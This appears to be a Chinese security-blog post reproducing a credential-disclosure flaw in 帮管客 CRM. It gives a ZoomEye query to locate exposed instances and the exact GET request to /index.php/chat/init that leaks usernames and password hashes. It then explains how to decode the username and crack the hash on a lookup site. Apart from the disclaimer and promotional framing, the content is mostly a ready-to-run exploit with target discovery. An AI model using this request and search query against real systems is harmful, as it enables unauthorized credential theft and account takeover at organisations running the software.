注本公众号,长期推送技术文章
知攻善防实验室
红蓝对抗,Web渗透测试,红队攻击,蓝队防守,内网渗透,漏洞分析,漏洞原理,开源 工具,社工钓鱼,网络安全。
78篇原创内容
公众号
免责声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用!!!
前言
帮管客是一款基于移动办公、客户管理、即时IM等一体化智能管理的企业软件,支持多种部署方式,提供全方位的销售跟进、智能化服务管理、高效的沟通协同和图表化数据分析等功能。
帮管客系统存在用户名密码信息泄露
资产
ZoomEye语法:app:"帮管客CRM"
漏洞复现
数据包
GET /index.php/chat/init HTTP/1.1
Host: IP:PORT
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
用户名Unicode解码
密码需要去cmd5的网站解密一下
文末
关注公众号“知攻善防实验室”后台回复“交流群”获取技术交流群链接